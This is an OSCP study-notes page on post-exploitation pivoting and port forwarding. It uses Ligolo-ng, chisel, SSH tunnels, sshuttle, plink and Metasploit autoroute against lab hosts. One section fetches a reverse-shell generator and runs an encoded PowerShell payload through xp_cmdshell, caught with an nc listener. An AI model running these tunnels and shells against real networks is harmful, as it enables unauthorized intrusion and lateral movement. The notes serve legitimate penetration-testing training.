> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/port-forwarding-pivoting.md).

# Port Forwarding / Pivoting

<details>

<summary>Ligolo-ng</summary>

On Kali:

```bash
On Kali:
    ./proxy_linux64 -selfcert -laddr 0.0.0.0:443 

    After client connects:
        In Ligolo-ng session: 
            session
            ifconfig
            autoroute
        In event that route already exists, in Kali terminal:
            sudo ip route del 172.16.218.0/24 dev <interface name>
            OR..
            ip link delete <netw> 
```

On pivot machine:

```bash
.\agent_win64.exe -connect 192.168.45.227:443 -ignore-cert
```

**Double pivoting:**

<pre class="language-bash"><code class="lang-bash"># In Ligolo session
<strong>listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80
</strong>
# In Internal Machine B
.\agent_win64.exe -connect &#x3C;Pivot_A_IP>:80 -ignore-cert
</code></pre>

### Manual Ligolo Commands:

<pre class="language-bash"><code class="lang-bash">sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.210.0/24 dev ligolo

In Ligolo: 
    session --> select the new session
<strong>    start
</strong></code></pre>

</details>

<details>

<summary>Dynamic Port Forwarding</summary>

On Kali machine:

```bash
ssh -f -N -D 1080 j0hn@10.11.1.252
```

Edit `/etc/proxychains.conf`

```bash
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 	127.0.0.1 1080
```

Using tools:

```bash
proxychains -q curl http://10.3.3.13
```

For burp, see [here](/oscp-notes/configurations/burpsuite-upstream-proxy.md)

</details>

<details>

<summary>Reverse Port Forwarding</summary>

On Kali:

```bash
service ssh start
```

On Target:&#x20;

```bash
ssh -f -N -R 44544:127.0.0.1:445 kali@192.168.45.241
```

* Opens port 44544 on kali and forwards to the target's port 445.

</details>

<details>

<summary>Sshuttle</summary>

On Kali:

* SSH creds of edge machine
* Internal network to be exposed

```bash
sshuttle -r sean@10.11.1.251 10.1.1.0/24
```

</details>

<details>

<summary>Chisel &#x26; Proxychains</summary>

### Kill port 8080

```bash
fuser -k 8080/tcp
```

### On Kali:

* Copied chisel [pre-compiled](https://github.com/jpillora/chisel/releases/tag/v1.7.6)

```bash
chisel server -p 8080 --reverse
```

* Edit `/etc/proxychains.conf`

```bash
socks5 127.0.0.1 1080
```

### On Victim:

```bash
chisel client 192.168.45.191:8080 R:socks
```

## Configure Burp for Web Browsing via Chisel

```bash
Proxy Type: SOCKS5
Proxy IP address: 127.0.0.1
Port: 1080
```

## Proxychains Nmap Usage

* Have to use TCP Connect scan (-sT)
* ICMP doesn’t work over proxychains (hence need -Pn)
* vv slow, could instead install & use nmap on the compromised host.

```bash
proxychains nmap ..
```

</details>

<details>

<summary>Reverse Port Forward to Remote Server (when victim can't reach attacker directly)</summary>

<https://simplecheatsheet.com/ssh-tunnel-proxy/>

### Background

* Attacker has access to MS01.
* Chisel is already in place but MS02 in internal network still unable to reach attacker.

### On Kali:

```bash
ssh web_svc@192.168.218.147 -N -R *:7777:localhost:7777
```

### On Victim:

* Insert in MS01's internal IP as Reverse IP
* Reverse port is 7777

```bash
wget https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py
python3 mkpsrevshell.py 10.10.108.147 7777
SQL> xp_cmdshell "powershell -e JABj..."
```

### On Kali:

```bash
nc -lvp 7777
# listening on [any] 7777 ...
# connect to [127.0.0.1] from localhost [127.0.0.1] 39614

# PS C:\Windows\system32> whoami
# nt service\mssql$sqlexpress
```

</details>

<details>

<summary>Exposing An Internal port from Windows Victim</summary>

### Using Plink:

To forward victim port 80 to kali's port 80

On Windows victim:

```bash
plink.exe -N -R 80:127.0.0.1:80 kali@192.168.45.5 -pw .8monitor
```

#### If port 22 is blocked --> try other ports

```bash
# Inside /etc/ssh/sshd_config
	  14 Port 139
	  15 AddressFamily any
	  16 ListenAddress 0.0.0.0
  	  17 ListenAddress ::

# On Victim
plink.exe -N -R 8888:127.0.0.1:8888 kali@10.10.14.2 -pw .8monitor -P 139
```

### Using Chisel:

To forward victim's port 3306 to kali's port 3306

On Kali:

```bash
chisel server -p 8080 --reverse
```

On Victim:

```bash
chiselx64.exe client 192.168.45.5:8080 R:3306:127.0.0.1:3306
```

</details>

<details>

<summary>Local Port Forwarding</summary>

To forward victim port 80 to kali's port 8000.

On Kali:

```bash
ssh -N -L 8000:192.168.165.99:80 ariah@192.168.165.99
```

</details>

<details>

<summary>Double Pivoting</summary>

### Use port 2080 instead

```bash
proxychains -q ssh -f -N -D 2080 -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss bill@10.1.1.1
```

### Copy /etc/proxychains.conf, edit the port to 2080

```bash
 111 [ProxyList]
 112 # add proxy here ...
 113 # meanwhile
 114 # defaults set to "tor"
 115 socks5  127.0.0.1 2080
```

### Usage&#x20;

```bash
proxychains -q -f /home/kali/Documents/offsec/10.1.1.1/proxychains_2080.conf nmap --top-ports 100 -sT -Pn 10.3.3.14
```

</details>

<details>

<summary>Metasploit's Autoroute</summary>

```bash
background
use multi/manage/autoroute
set session 1
exploit

use auxiliary/server/socks_proxy 
set srvhost 127.0.0.1
exploit -j
```

Then, in Kali:

```bash
sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf'
proxychains rdesktop 192.168.122.10
```

</details>

<details>

<summary>Links</summary>

<https://gist.github.com/grantpullen/5a1c79a4e4a28e3b1d66ae17c8a9eb61>

<https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html>

<https://www.ctfnote.com/red-teaming/pivoting>

</details>